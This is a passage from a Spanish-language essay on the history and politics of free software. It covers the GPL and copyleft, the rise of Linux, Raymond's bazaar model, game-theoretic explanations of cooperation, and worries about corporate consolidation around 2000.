libres	no	habría	sido	posible	lo	que	vino	después,	incluyendo	el	propio	Linux.

Con	 todo	 lo	 importante	 que	 eran	 esas	 herramientas,	 no	 fue	 ni	mucho	menos	 la
principal	aportación	de	la	FSF.	Y	es	que	los	hackers	que	impulsaron	el	Proyecto	GNU
en	aquellos	años	no	se	conformaron	con	su	 trabajo	de	desarrolladores,	ya	de	por	 sí
formidable.	Se	dieron	cuenta	de	que	necesitaban	algo	más	que	crear	herramientas	de
software	que	dieran	libertad	a	los	programadores.	Para	que	el	trabajo	no	fuera	estéril
y	 fácilmente	 reapropiable	 por	 intereses	 privados,	 precisaban	 además	 defender	 esa
libertad	 en	 el	 terreno	 político	 y	 jurídico.	El	Manifiesto	GNU	 (1985),	 escrito	 por	 el
propio	Richard	Stallman,	es	la	declaración	de	principios	e	intenciones	del	proyecto;
inspirada	 en	 sus	 principios,	 se	 lanza	 en	 1989	 la	 primera	 versión	 de	 lo	 que	 fue
posiblemente	 el	 mejor	 logro	 de	 la	 FSF	 y	 significativamente	 no	 en	 el	 terreno
informático,	sino	en	el	ámbito	jurídico:	la	GPL	(General	Public	License)	o	Licencia
Pública	General.[28]

4.	La	GPL:	copyleft	para	tod@s

Utilizando	un	brillante	juego	de	palabras,	tan	del	gusto	de	los	hackers,	Stallman
inventa	 el	 concepto	 de	 copyleft,	 con	 el	 propósito	 político	 de	 garantizar	 la	 libre
circulación	 de	 los	 saberes	 contenidos	 en	 el	 software	 y	 la	 posibilidad	 de	 que	 todos

www.lectulandia.com	-	Página	34



contribuyan	 a	 su	 mejora.	 El	 copyleft	 se	 sirve	 de	 las	 leyes	 internacionales	 del
copyright	para	darles	 la	vuelta	 (all	 rights	 reversed:	«todos	 los	derechos	del	 revés»)
pues	protege	el	uso	en	lugar	de	la	propiedad.	El	autor	se	reserva	los	derechos	para	que
su	obra	pueda	ser	utilizada	por	cualquiera	con	la	única	condición	de	que	nadie	recorte
o	elimine	esos	derechos	de	libre	uso:	en	el	momento	en	que	alguien	suprima	o	añada
nuevas	condiciones	que	limiten	en	algo	su	disponibilidad	(por	ejemplo,	distribuyendo
código	 binario	 modificado	 sin	 posibilidad	 de	 acceder	 a	 las	 fuentes	 modificadas)
estaría	 vulnerando	 la	 licencia	 y	 perdería	 el	 derecho	 a	 servirse	 de	 ese	 software.
Obligando	 a	 transferir	 esos	 derechos	 a	 cualquiera	 que	 copie	 ese	 software,	 lo
modifique	o	no,	 se	 beneficia	quien	 está	de	 acuerdo	 con	mantener	 su	 futuro	 trabajo
con	 copyleft,	 mientras	 que	 quien	 quiera	 desarrollar	 software	 propietario	 no	 podrá
utilizar	código	libre	y	deberá	empezar	desde	cero.

La	 GPL	 o	 Licencia	 Pública	 General	 es	 la	 plasmación	 jurídica	 del	 concepto
copyleft.	Con	el	tiempo,	la	GPL	se	ha	convertido	en	el	cimiento	del	software	libre,	su
baluarte	 legal,	 y	 para	 muchos	 constituye	 un	 extraordinario	 ejercicio	 de	 ingeniería
jurídica:	 con	 la	 GPL	 se	 asegura	 que	 trabajos	 fruto	 de	 la	 cooperación	 y	 de	 la
inteligencia	colectiva	no	dejen	nunca	de	ser	bienes	públicos	libremente	disponibles	y
que	cualquier	desarrollo	derivado	de	ellos	se	convierta	como	por	ensalmo	en	público
y	libre.	La	GPL	se	comporta	de	un	modo	«vírico»	y,	como	un	rey	midas	del	software,
convierte	en	libre	todo	lo	que	toca,	es	decir,	todo	lo	que	se	deriva	de	ella.

Junto	 al	 modelo	 copyleft,	 hay	 otros	 desarrollos	 de	 software	 libre	 que	 no	 son
copyleft	 y	 considerados	 menos	 «estrictos»	 en	 cuanto	 a	 la	 licencia,	 cuya	 mayor
diferencia	 con	 el	 copyleft	 es	 que	 no	 insisten	 en	 que	 el	 código	 derivado	 tenga	 que
seguir	 siendo	 libre.	 Es	 el	 caso	 de	 las	 licencias	 tipo	 BSD[29]	 y	 las	 de	 tipo
X11/XFree86:	no	ponen	el	énfasis	en	asegurarse	que	el	software	libre	siga	siéndolo,
pues	 los	 partidarios	 de	 Berkeley	 consideran	 que	 de	 algún	 modo	 eso	 ya	 es	 limitar
derechos.	Posiblemente,	es	una	postura	que	se	acerca	al	anticopyright	y	a	la	noción	de
«dominio	 público»	 (un	 bien	 que	 jurídicamente	 no	 es	 de	 nadie),	 pero	 es	 menos
comprometida	—al	menos	en	cuanto	a	la	licencia	en	garantizar	que	el	software	libre
no	 deje	 de	 serlo—.	En	 la	 práctica	 y	 dejando	 los	matices	 de	 tipo	 jurídico,	 tanto	 las
licencias	tipo	BSD/XFree86	como	la	GPL	son	el	baluarte	del	software	libre	y	ambas
representan	un	referente	ético	y	práctico	alternativo	al	software	propietario.

Linux

Disponiendo	de	la	GPL	y	de	poderosas	herramientas	informáticas	libres	llegamos
a	los	años	noventa,	con	un	sistema	operativo	GNU	ya	casi	completo.	Faltaba	el	kernel
o	núcleo	de	 sistema,	 una	pieza	 fundamental	 y	muy	compleja	que	 se	 iba	 retrasando
más	 de	 lo	 debido	 por	 la	 enorme	 dificultad	 de	 la	 empresa	 y	 por	 la	 escasez	 de
voluntarios	que	trabajasen	en	ello	(hay	que	recordar	que	la	mayor	parte	de	los	hackers
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han	escrito	su	código	en	ratos	libres).
Por	aquel	entonces,	por	su	cuenta	y	riesgo	y	sin	ninguna	relación	con	la	FSF,	un

estudiante	finlandés	llamado	Linus	Torvalds	decide	ponerse	a	escribir	un	kernel	que
pueda	 funcionar	y	 sacar	 todo	el	partido	de	 la	 arquitectura	de	32	bits	de	 los	nuevos
procesadores	 i386.	 Cuenta	 con	 las	 herramientas	 GNU	 para	 hacerlo,	 y	 con	 un
desarrollo	UNIX	para	 los	 PC	de	 16	 bits	 de	 entonces	 (minix).	 Por	 primera	 vez	 hay
máquinas	disponibles	a	nivel	personal	y	a	precio	asequible	capaces	de	trabajar	con	un
sistema	multitarea.	Linus	decide	entonces	hacer	un	llamamiento	a	través	de	las	news
para	 quien	 quiera	 ayudarle	 en	 el	 desarrollo.	 A	 los	 pocos	 meses	 (1992),	 son	 unos
cientos	 de	 entusiastas	 hackers	 de	 todo	 el	 mundo,	 coordinados	 a	 través	 del	 correo
electrónico	 y	 de	 las	 news	 y	 sin	 ningún	 interés	 económico,	 los	 que	 consiguen	 el
milagro.	A	un	ritmo	frenético	y	en	medio	de	un	caos	aparente,	van	dejando	versiones
en	 los	 repositorios	 FTP	 de	 Internet	 para	 que	 la	 gente	 las	 pruebe,	 las	 estudie	 o	 las
mejore.	Linus	pone	el	desarrollo	del	kernel	bajo	la	GPL	y	el	proyecto	GNU	se	pone	a
trabajar	 para	 integrar	 el	 nuevo	 kernel	 con	 el	 resto	 del	 sistema.	 Desde	 entonces	 la
historia	es	bien	conocida:	a	principios	del	año	2000	son	probablemente	más	de	mil
hackers	 los	que	dan	soporte	al	kernel	y	 se	calculan	veinte	millones	de	usuarios	del
conjunto	 GNU/Linux.	 En	 suma,	 disponemos	 libre	 y	 gratuitamente	 de	 un	 sistema
operativo	completo,	potentísimo	y	fiable	como	el	que	más,	que	doblega	a	las	grandes
firmas	y	desafía	a	muy	corto	plazo	al	ubicuo	imperio	de	los	WindowsTM	con	miles	de
programas	 en	 constante	 evolución	 (la	 última	 distribución	GNU/Linux	 del	 Proyecto
Debian[30]	recopila	más	de	4500	paquetes	de	código	libre).

Si	bien	es	el	más	conocido,	el	núcleo	Linux	no	es	el	único	ejemplo	del	increíble
éxito	 del	 software	 libre:	 por	 ejemplo,	 el	 62%	 de	 los	 servidores	 web	 de	 Internet
(equivalente	 a	 diez	millones	 de	 sitios	web,	 según	 el	 último	 estudio	 de	Netcraft,[31]
correspondiente	a	junio	de	2000)	se	basa	en	un	software	libre	llamado	Apache,	o	en
alguna	versión	modificada	del	mismo.	Apache	lo	desarrollaron	en	un	tiempo	record
un	 grupo	 de	webmasters	 y	 ha	minimizado	 el	 uso	 de	 los	 servidores	 propietarios	 de
Microsoft	 y	Netscape	 (en	 el	mismo	 estudio	 de	Netcraft	 aparece	 en	 segundo	 lugar,
muy	 lejos	 de	Apache,	 el	 IIS	 de	Microsoft	 con	 un	 20,36%	de	 los	 servidores	web	y
tercero	 Netscape-Enterprise	 con	 solo	 un	 6,74%).	 Muchas	 otras	 utilidades	 y
aplicaciones	basadas	en	software	 libre	operan	en	servidores	de	 todo	el	mundo	y,	de
modo	silencioso	y	transparente	para	el	usuario	de	a	pie,	garantizan	el	funcionamiento
cotidiano	de	Internet	y	de	otras	muchas	redes	y	sistemas	 informáticos,	 libres	de	 los
virus	y	agujeros	de	seguridad	que	periódicamente	atormentan	a	los	inseguros	sistemas
basados	 en	 Windows.	 Disponer	 del	 código	 fuente	 permite	 localizar	 errores	 y
corregirlos,	 e	 incluso	 detectar	 la	 existencia	 de	 código	 malicioso	 (virus,	 puertas
traseras,	 troyanos)	 que	 las	 empresas	 y	 grupos	 de	 poder	 pueden	 eventualmente
introducir	en	los	programas	y	sistemas	operativos	cerrados	como	forma	de	control	y
de	asalto	a	la	privacidad.[32]

El	 responsable	 de	 esta	 revuelta	 antipropietaria	 («Linux	 es	 subversivo»:	 así
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empieza	La	catedral	y	el	bazar)	no	es	Linus	Torvalds	ni	Richard	Stallman	ni	la	FSF,
ni	universidad,	gobierno	o	 institución	alguna,	ni	menos	aún	las	empresas	que	ahora
cotizan	en	el	Nasdaq	con	«Linux»	como	bandera.	El	 responsable	de	 todo	esto	es	 la
propia	comunidad	de	usuarios	del	 sistema.	En	el	caso	de	Linus	Torvalds,	 su	mayor
mérito	y	por	lo	que	debe	ser	reconocido	sin	discusión	no	es	por	el	kernel	Linux,	por
extraordinario	 que	 sea	 este,	 sino	 por	 el	 «modelo	 bazar»,	 la	 genial	 intuición	 de
ingeniero	 que	 tuvo	 para	 ponerlo	 a	 tope	 de	 vueltas	 en	 el	 momento	 justo	 (sin	 la
explosión	de	Internet	y	de	los	ordenadores	personales	no	habría	sido	posible).	Linus
ha	 llevado	 probablemente	 hasta	 sus	 límites	 el	 modelo	 bazar	 y	 lo	 ha	 exprimido	 al
máximo,	aunque	justo	es	decir	que	para	nada	lo	inventó,	pues	desde	siempre	formaba
parte	 de	 algunos	 entornos	 UNIX	 y	 de	 la	 práctica	 de	 determinadas	 comunidades
científicas	 y	 académicas	 (como	 Bell	 Labs,	 el	 MIT	 AI	 Lab	 o	 la	 Universidad	 de
California	en	Berkeley),	que	lo	aplicaron	y	obtuvieron	éxitos	legendarios:	pero	nadie
antes	que	Linus	lo	había	lanzado	a	escala	planetaria,	fuera	del	ámbito	científico	y	con
ese	 formidable	 grado	 de	 intensidad	 y	 productividad.	 Se	 puede	 afirmar	 sin	 temor	 a
exagerar	 que	 el	 sistema	 operativo	 libre	GNU/Linux	 es	 la	 obra	más	 importante	 que
hasta	ahora	ha	producido	Internet.

6.	El	modelo	bazar

Actualmente	y	gracias	al	proyecto	en	torno	al	kernel	Linux,	el	principal	modelo
de	 desarrollo	 del	 software	 libre	 es	 el	 «modelo	 bazar».	 Fue	 descrito	 por	 Eric	 S.
Raymond	en	su	ya	clásico	La	catedral	y	el	bazar[33]	(1997)	y	sin	duda	constituye	una
aportación	 singular	 en	 este	 capitalismo	 de	 fin	 de	 siglo.	 Raymond	 contrapone	 el
modelo	 bazar	 a	 un	 modelo	 de	 producción	 de	 software	 al	 que	 denominó	 «modelo
catedral»[34],	 basado	 en	 la	 necesidad	 de	 un	 arquitecto	 al	 mando	 de	 un	 staff
rígidamente	 estructurado	 y	 jerarquizado	 y	 el	 estricto	 control	 de	 errores	 previo	 a	 la
publicación.	 A	 juicio	 de	 Raymond,	 el	 modelo	 catedral	 no	 sólo	 corresponde	 a	 la
industria	del	software	propietario,	sino	a	algunos	de	los	grandes	desarrollos	libres	que
ha	avalado	la	FSF.

Según	Raymond,	el	modelo	bazar	de	programación	se	resume	en	tres	máximas:	1)
liberar	rápido	y	a	menudo;	2)	distribuir	responsabilidades	y	tareas	todo	lo	posible,	y
3)	ser	abierto	hasta	la	promiscuidad	para	estimular	al	máximo	la	cooperación.	Incluso
cumpliendo	esas	máximas,	no	siempre	es	posible	el	modelo	bazar:	sólo	puede	darse
en	un	entorno	de	libertad,	cooperación,	comunidad	y	disponiendo	del	código	abierto.
El	 bazar	 encuentra	 dificultad	 para	 producir	 cooperación	 cuando	 se	 empiezan
proyectos	 desde	 cero	 o	 cuando	 se	 ensaya	 en	 grupos	 reducidos	 demasiado
heterogéneos	 o	 con	 mucho	 desnivel	 de	 conocimiento,	 por	 lo	 que	 a	 menudo
encontramos	fórmulas	mixtas	entre	el	bazar	y	la	catedral.

A	 juicio	 de	 Raymond,	 el	 modelo	 bazar	 es	 mucho	 más	 eficaz	 y	 produce	 un
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software	 de	 mayor	 calidad	 con	 menor	 gasto	 de	 recursos,	 lo	 que	 por	 sí	 solo	 ya
justificaría	la	aplicación	masiva	del	modelo	en	la	industria	del	software.	Sin	dejar	de
reconocer	esto,	la	gente	que	sigue	los	postulados	de	la	FSF,	insiste	en	que	la	calidad
del	 código	 libre	 ha	 sido	 un	 elemento	 «extra»	 y	 no	 es	 la	 razón	 de	 ser	 del	 software
libre,	ya	que	más	importante	que	la	potencia	y	la	fiabilidad	técnica	es	la	libertad,	el
bien	 social	 y	 la	 comunidad	 autogestionada	 de	 usuarios	 y	 desarrolladores	 a	 que	 da
lugar,	sin	precedentes	en	ningún	otro	ámbito,	que	por	primera	vez	lleva	la	iniciativa	y
el	total	control	tecnológico	sobre	lo	que	usa.

En	 todo	 caso,	 con	 bazar	 o	 sin	 él	 y	 más	 allá	 de	 su	 demostrado	 éxito	 a	 nivel
organizativo	y	 técnico,	 el	 software	 libre	desafía	 la	 lógica	 interesada	y	mercantilista
que	 parecía	 definitivamente	 asentada	 en	 lo	 social.	 Alguien	 podría	 objetar	 que	 los
procesos	 de	 cooperación	no	 son	una	novedad	 en	 el	 capitalismo	 avanzado	y	 que	de
hecho	son	parte	imprescindible	del	modelo	de	organización	posfordista[35].	Pero	este
último	 precisa	 cooperación	 sujetada,	 orientada	 únicamente	 a	 la	 extracción	 de
beneficio,	 en	 ningún	 caso	 autodeterminada.	 La	 novedad	 que	 introduce	 el	 software
libre	es	que	pone	en	funcionamiento	un	modelo	de	cooperación	sin	mando.	No	hay
intereses	 empresariales	 directos,	 es	 general	 intellect	 puro,	 ingobernable	 y	 libre	 del
mando.[36]	Es	más,	la	ausencia	de	mando,	de	control	corporativo	o	jerárquico,	parece
condición	 sine	 qua	 non:	 allí	 donde	 reaparece	 el	 mando	 sea	 en	 forma	 de	 interés
propietario,	 sea	en	su	variante	autoritaria,	el	modelo	se	marchita,	 se	agosta	y	acaba
por	 desaparecer.	 Como	 el	 pájaro	 bobo	 (el	 pingüino),	 sólo	 puede	 vivir	 en	 libertad.
Nadie	 da	 órdenes,	 nadie	 acepta	 órdenes.	 Y	 sin	 embargo,	 la	 gente	 se	 coordina,	 se
organiza,	 hay	 gurús,	 «líderes»,	 gente	 que	 dirige	 proyectos:	 pero	 es	 autoridad
conferida,	no	es	mando.	Funciona	una	especie	de	«economía	del	regalo»,	en	la	cual	se
es	más	apreciado	cuanto	más	se	aporta	a	 la	comunidad.	Nadie	puede	exigir,	no	hay
garantía,	 no	 hay	 dinero	 como	 estímulo	 para	 el	 trabajo[37],	 aunque	 haya	 gente	 que
cobre	por	su	trabajo	o	gane	dinero	mediante	Linux,	pues	ninguna	objeción	hay	en	la
comunidad	para	 que	 los	 hackers	 puedan	 ser	 remunerados	por	 su	 trabajo.	Todo	 este
«bazar»	 caótico	 de	 listas	 y	 grupos	 dispersos	 de	 voluntarios	 por	 Internet	 produce	 el
mejor	 software,	 complejísimo	 software	 cuyo	 desarrollo	 no	 está	 al	 alcance	 ni	 de	 la
empresa	más	poderosa	del	planeta.	Porque	 la	comunidad	del	software	 libre	es	ya	 la
empresa	de	software	más	poderosa	del	planeta.

La	teoría	de	juegos

¿Cómo	es	esto	posible?	¿Por	qué	ganan	las	estrategias	altruistas	a	las	egoístas	en
el	 software	 libre?	 ¿Por	 qué	 la	 gente	 no	 trata	 simplemente	 de	 extraer	 el	 máximo
beneficio	 económico	 como	 enseña	 el	 capitalismo?	 ¿Por	 qué	 los	 pragmáticos	 no	 se
limitan	a	tratar	de	aprovecharse	y	en	la	práctica	cooperan	como	el	que	más	(aunque
ideológicamente	no	lo	reconozcan)?
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Desde	la	propia	comunidad	del	software	libre	ha	habido	intentos	de	explicar	estos
fenómenos	 a	 través	 de	 la	 teoría	 de	 los	 juegos.[38]	 Y	 ciertamente,	 el	 clásico	 dilema
entre	 «bien	 colectivo»	 versus	 «actitud	 egoísta»	 es	 superado	 por	 un	 axioma	 que
recuerda	vagamente	al	«dilema	del	prisionero»	de	la	teoría	de	juegos:	la	cooperación
es	 preferible	 también	 desde	 una	 perspectiva	 egoísta.	 Y,	 al	 igual	 que	 sucede	 en	 el
dilema	del	prisionero,	esto	no	siempre	es	evidente	de	primeras.	Inventado	hace	medio
siglo	por	especialistas	de	la	teoría	de	juegos,	el	«dilema	del	prisionero»	se	utilizó	para
estudiar	 el	 concepto	de	 elección	 racional	 y	 para	 ilustrar	 el	 conflicto	 existente	 entre
beneficio	individual	y	bien	colectivo.[39]

En	la	teoría	de	juegos	tradicional,	la	estrategia	ganadora	es	la	llamada	Tit	for	Tat
(«donde	 las	dan	 las	 toman»):	«sólo	coopero	si	el	otro	coopera».	Es	 también	 la	más
simple,	 se	 comienza	 cooperando	 en	 la	 primera	 jugada	 y	 después	 simplemente	 se
copia	el	movimiento	previo	del	otro	jugador.	Los	teóricos	de	juegos	consideran	que
Tit	for	Tat	reúne	dos	rasgos	que	identifican	a	las	estrategias	ganadoras	y	que	juntas	la
hacen	ganar	en	todas	las	pruebas	realizadas	por	ordenador	contra	estrategias	mucho
más	sofisticadas	y	más	«sucias»	(egoísmo	no	cooperativo):	es	amable	y	es	clemente.
Una	 estrategia	 amable	 es	 aquella	 que	 nunca	 es	 la	 primera	 en	 ser	 egoísta.	 Una
estrategia	 clemente	 es	 la	 que	 puede	 vengarse	 pero	 tiene	mala	 memoria,	 es	 decir,
tiende	 a	 pasar	 por	 alto	 antiguas	 ofensas	 (se	 venga	 inmediatamente	 de	 un	 traidor	 o
egoísta,	 pero	 después	 olvida	 lo	 pasado).	 No	 se	 olvide	 que	 es	 amable	 en	 sentido
técnico,	no	moral,	pues	no	perdona	en	absoluto.	Tit	for	Tat	tampoco	es	«envidiosa»,
que	en	 la	 terminología	de	Robert	Axelrod	significa	que	no	desean	más	 recompensa
que	los	demás	y	se	siente	feliz	si	el	otro	tiene	el	mismo	premio	que	uno	mismo	(de
hecho	Tit	for	Tat,	nunca	gana	un	juego,	como	máximo	empata	con	su	oponente):	en	el
software	libre	significa	desear	que	todos	tengan	las	mismas	libertades	de	que	dispone
uno	 mismo.	 Que	 lo	 más	 eficaz	 sea	 ser	 amable	 y	 clemente	 parecía	 desafiar	 todo
sentido	 común	 y	 constituyó	 toda	 una	 sorpresa	 para	 los	 matemáticos,	 psicólogos,
economistas	y	biólogos	que	han	estudiado	a	fondo	las	diversas	estrategias	de	la	teoría
de	 juegos.[40]	 Esta	 conclusión,	 que	 abrió	 una	 nueva	 dirección	 de	 análisis,	 se	 ha
confirmado	una	vez	tras	otra	en	los	estudios	y	torneos	organizados	por	el	politólogo
estadounidense	Robert	Axelrod:	 siempre	 acaban	 ganando	 las	 estrategias	 amables	 y
clementes	y	siempre	salen	derrotadas	las	estrategias	«sucias».	Por	su	parte,	biólogos,
genetistas	 y	 etólogos	 están	 cada	 vez	 más	 convencidos	 de	 que	 la	 «cooperación
egoísta»	es	la	dominante	en	la	naturaleza.

De	acuerdo	a	la	teoría	de	juegos,	los	individuos	del	Tit	for	Tat,	cooperando	entre
sí	 en	 acogedores	 y	 pequeños	 enclaves	 locales,	 pueden	 prosperar	 hasta	 pasar	 de
pequeñas	 agregaciones	 locales	 a	 grandes	 agregaciones	 locales.	 Estas	 agregaciones
pueden	 crecer	 tanto	 que	 se	 extiendan	 a	 otras	 áreas	 hasta	 entonces	 dominadas,
numéricamente,	por	 individuos	egoístas	que	 juegan	al	«Voy	a	 lo	mío».	A	su	vez,	 la
cooperación	es	un	fenómeno	que	produce	realimentación	positiva:	nadie	que	disfrute
de	 los	 beneficios	 del	 software	 libre	 puede	 dejar	 de	 promover	 su	 uso.	 Por	 eso	 la
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comunidad	 conserva	 cierto	 tono	 proselitista,	 además	 de	 por	 una	 percepción	más	 o
menos	 generalizada	 de	 que	 la	 potencia	 y	 el	 futuro	 del	 modelo	 depende	 muy
directamente	de	que	haya	mucha	gente	participando	activamente	en	su	desarrollo.[41]

Sin	embargo,	el	modelo	Tit	for	Tat	no	caracteriza	totalmente	al	software	libre,	al
menos	 no	 de	 una	 manera	 canónica.	 Por	 un	 lado,	 es	 libre	 incluso	 para	 quienes	 no
cooperan	(esto	le	da	valor	ético,	pero	le	aleja	del	Tit	for	Tat).	Por	otro	lado,	aunque	el
copyleft	permite	que	cualquiera	se	beneficie,	no	permite	que	nadie	se	lo	apropie	o	que
se	use	para	crear	software	propietario	(esto	le	da	valor	pragmático	y	le	aproxima	al	Tit
for	Tat).	La	estrategia	del	software	libre	es	«amable»	y	«clemente»	a	la	vez,	pero	—a
diferencia	 del	Tit	 for	 Tat—	es	 capaz	 de	 asumir	 en	 su	 seno	 estrategias	 egoístas	 sin
necesidad	de	expulsarlas	o	vengarse	de	ellas	(salvo	quizá	en	casos	en	que	se	percibe
un	 verdadero	 peligro,	 como	 que	 alguna	 empresa	 poderosa	 adoptase	 posiciones
descaradamente	egoístas	no	cooperativas,	por	ejemplo	vulnerando	la	GPL).

En	 el	 software	 libre,	 convive	 un	 planteamiento	 basado	 exclusivamente	 en	 la
eficacia,	en	la	superioridad	técnica	y	productiva	que	genera	el	modelo	bazar,	con	otro
que	sitúa	en	primer	plano	la	cooperación,	la	ética	y	la	libertad.	La	postura	pragmática,
que	 hay	 quien	 ha	 calificado	 críticamente	 como	 «realpolitik»,[42]	 rechaza	 cualquier
formulación	ética	del	modelo	y	sólo	acepta	como	ideología	las	reglas	del	laissez-faire
propias	 del	 liberalismo	 más	 ortodoxo.	 Este	 planteamiento	 apoya	 y	 potencia
decididamente	el	software	libre,	porque	ha	verificado	que	su	resultado	es	más	eficaz,
no	porque	valore	la	cooperación	en	términos	de	producción	de	bienes	públicos	o	de
beneficio	social	ni	porque	considere	inmoral	el	modelo	propietario.[43]	Incluso	puede
que	 solo	 le	 interese	 la	 cooperación	 social	 como	 poderosa	 máquina	 al	 servicio	 del
capitalismo.	Esta	parte	del	modelo	probablemente	es	la	que	se	ajusta	mejor	a	la	teoría
de	juegos	de	acuerdo	al	concepto	de	la	cooperación	egoísta:	 las	empresas	cooperan
porque	 a	 la	 largo	 obtendrán	 más	 beneficios	 y	 los	 individuos	 cooperan	 porque
apoyando	el	modelo	dispondrán	de	mejores	aplicaciones.

Junto	 a	 este	planteamiento	 coexiste	un	 acercamiento	 ético	o	 altruista.	Conviene
no	 confundirlo	 con	un	 altruismo	de	base	moral,	 religiosa	o	metafísica,	 sino	de	una
ética	materialista	que	considera	la	libertad	y	la	cooperación	social	el	mejor	modo	de
defender	algo	que	es	bueno	para	todos	y	que	encuentra	otros	estímulos	diferentes	al
beneficio	 económico.[44]	 Dicho	 de	 otro	 modo,	 no	 se	 trata	 de	 una	 historia	 de
«altruistas»	 y	 «egoístas»,	 de	 «buenos»	 y	 «malos»,	 que	 como	 tantos	 otros	 dilemas
morales	 se	 han	mostrado	 inoperantes	 por	 falsos:	 pero	 hay	 una	 cuestión	 política	 de
fondo	muy	importante	que	los	diferencia	claramente	y	es	la	de	si	el	software	—y,	en
general,	el	saber	humano—	puede	o	no	puede	ser	privatizado.	Mientras	para	el	sector
pragmático	esto	no	es	relevante,	para	Stallman	y	quienes	abogan	por	 la	visión	ética
esto	 es	 una	 cuestión	 central	 e	 innegociable:	 el	 software,	 a	 diferencia	 de	 los	 bienes
materiales,	 no	 puede	 ser	 poseído,	 pues	 puede	 ser	 disfrutado	 por	 un	 número
indeterminado	de	personas	sin	que	por	ello	haya	que	privar	a	nadie	de	 tenerlo	a	 su
vez.[45]	Ése	es	el	núcleo	del	dilema,	de	la	diferencia,	y	el	que	comporta	acercamientos
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tan	dispares	al	software	libre.
La	 teoría	 de	 juegos	 funciona	 a	 nivel	 estadístico	 y	 se	 basa	 en	 estrategias

inconscientes	 de	 base	 algorítmica	 (las	 pueden	 ejecutar	 máquinas,	 genes	 o	 seres
humanos):	no	aplica	pues	criterios	morales	o	 finalistas	ni	 trata	de	dar	cuenta	de	 los
casos	 particulares,	 ni	 de	 las	 motivaciones	 de	 cada	 cual	 para	 cooperar	 o	 para	 ser
egoísta,	sino	que	nos	ofrece	algo	más	sutil	y	valioso:	la	comprensión	de	un	proceso	y
el	cuestionamiento	de	un	mito	capitalista	y	neoliberal,	el	del	juego	sucio	y	el	«todos
contra	todos»,	el	de	que	es	mejor	que	cada	uno	vaya	a	lo	suyo	y	solo	se	atienda	a	los
intereses	 privados.	 Las	 conclusiones	 de	 la	 teoría	 de	 juegos	 —pese	 a	 carecer	 de
finalidad	 moral—	 nos	 ofrece	 un	 resultado	 optimista	 y	 alentador	 para	 una	 ética
materialista	(no	moralista	ni	religiosa).	La	teoría	de	juegos	y	el	software	libre	podrían
ser	la	punta	de	lanza	de	un	nuevo	mito,	el	mito	de	compartir,	el	de	la	cooperación	y	la
ayuda	 mutua.	 Podría	 anunciar	 la	 saludable	 idea	 de	 que	 incluso	 con	 individuos
egoístas	 al	mando,	 y	 en	 palabras	 del	 biólogo	Dawkins,	 «los	 buenos	 chicos	 acaban
primero».

No	 obstante,	 hay	 también	 razones	 para	 pensar	 que	 si	 el	 enfoque	 pragmático,
apolítico,	también	llamado	«cooperación	egoísta»,	se	acaba	imponiendo,	dañará	a	la
comunidad	del	software	libre,	que	podría	acabar	siendo	recuperada	por	el	capitalismo
posfordista,	del	mismo	modo	que	 recupera	el	general	 intellect	 (la	 cooperación	 y	 el
saber	 social	 general)	 y	 lo	 pone	 al	 servicio	 de	 la	 extracción	 de	 beneficio	 privado.
Otros,	sin	embargo,	apuestan	por	la	coexistencia	de	ambas	tendencias,	y	piensan	que
mientras	 la	 postura	 egoísta	 se	 avenga	 a	 cooperar	 dentro	 de	 las	 reglas	 del	 software
libre	no	habrá	nada	que	temer.	Ese	debate	lo	abordaré	en	el	siguiente	epígrafe.

8.	Desafíos	e	interrogantes

El	interés	en	el	software	crece	más	rápido	que	la	conciencia	acerca	de	la
filosofía	sobre	la	cual	está	basado,	y	esto	crea	problemas.	Nuestra	capacidad
de	enfrentar	los	desafíos	y	amenazas	al	software	libre	depende	de	la	voluntad
de	mantenerse	firmes	del	lado	de	la	libertad.	Para	asegurarnos	de	que	nuestra
comunidad	tiene	esta	voluntad,	necesitamos	esparcir	la	idea	entre	los	nuevos
usuarios	 a	 medida	 que	 ellos	 llegan	 a	 nuestra	 comunidad.	 Pero	 estamos
fracasando	 en	 esto:	 los	 esfuerzos	 realizados	 para	 atraer	 nuevos	 usuarios	 a
nuestra	 comunidad	 sobrepasan	 de	 lejos	 a	 los	 esfuerzos	 dedicados	 a	 la
enseñanza	 cívica	 acerca	 de	 nuestra	 comunidad.	 Necesitamos	 hacer	 ambas
cosas,	y	es	necesario	que	mantengamos	ambos	esfuerzos	equilibrados.

Richard	Stallman.

Entre	 1997	 y	 1998	 se	 producen	 tres	 acontecimientos	 que,	 a	 juicio	 de	muchos,
inauguran	 un	 nuevo	 periodo	 en	 el	 ámbito	 del	 software	 libre:	 la	 publicación	 de	La
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catedral	 y	 el	bazar;	 la	 liberación	del	 código	 fuente	de	Netscape	y	 la	 foto	de	Linus
Torvalds	 en	 la	 portada	 de	 la	 revista	Forbes.	 Convencionalmente,	 se	 considera	 que
esos	tres	hitos	despertaron	el	interés	y	dieron	pie	a	la	entrada	masiva	de	las	grandes
empresas	 en	 el	mundo	 del	 software	 libre.	 Esta	 nueva	 etapa	 está	 llena	 de	 sombríos
interrogantes,	 por	mucho	 que	 algunos	 la	 describan	 triunfalmente,	 y	 probablemente
van	 a	 generar	 nuevos	 focos	 de	 antagonismo.	 Algunas	 grandes	 empresas	 han
comenzado	a	contratar	hackers	(lo	cual	no	es	nuevo)	para	llevar	a	cabo	desarrollos	de
software	 libre	 (esto	 sí	 lo	 es).	 Trabajos	 que	 antes	 se	 hacían	 sin	 interés	 económico
directo	ahora	empiezan	a	estar	financiados	por	empresas.	Proyectos	cuya	motivación
era	la	necesidad	o	el	deseo	de	los	hackers	y	de	la	comunidad	de	usuarios	de	software
libre,	 ajena	 al	 mercado,	 ahora	 pueden	 empezar	 a	 estar	 condicionados	 por	 las
necesidades,	 los	 ritmos	 y	 las	 prioridades	 de	 las	 empresas	 que	 financian	 esos
proyectos.[46]	Modestos	negocios	que	basaban	sus	ingresos	en	servicios	relacionados
con	el	software	libre	se	han	convertido	de	la	noche	a	la	mañana	en	grandes	empresas
que	han	salido	a	bolsa	con	capital-riesgo.	Algunas	empresas	que	basan	su	negocio	en
el	software	libre	se	están	dedicando	a	comprar	empresas	más	pequeñas	y	a	su	vez	son
compradas	por	 otras	mayores,	 produciéndose	 la	 creación	de	grandes	 emporios.	Ese
trajín	de	compraventa	incluye	sitios	estratégicos	para	la	comunidad	como	medios	de
comunicación	o	repositorios	de	software:	Andover	compra	Slashdot	y	Freshmeat;	VA
Linux	 compra	 Andover;	 RedHat	 compra	 Cygnus,	 etc.	 ¿Adónde	 conduce	 esa
concentración	empresarial?	¿Qué	pinta	la	gente	de	a	pie	en	todo	este	tinglado?

Hasta	ahora,	en	la	comunidad	del	software	libre	todo	esto	no	se	aprecia	como	una
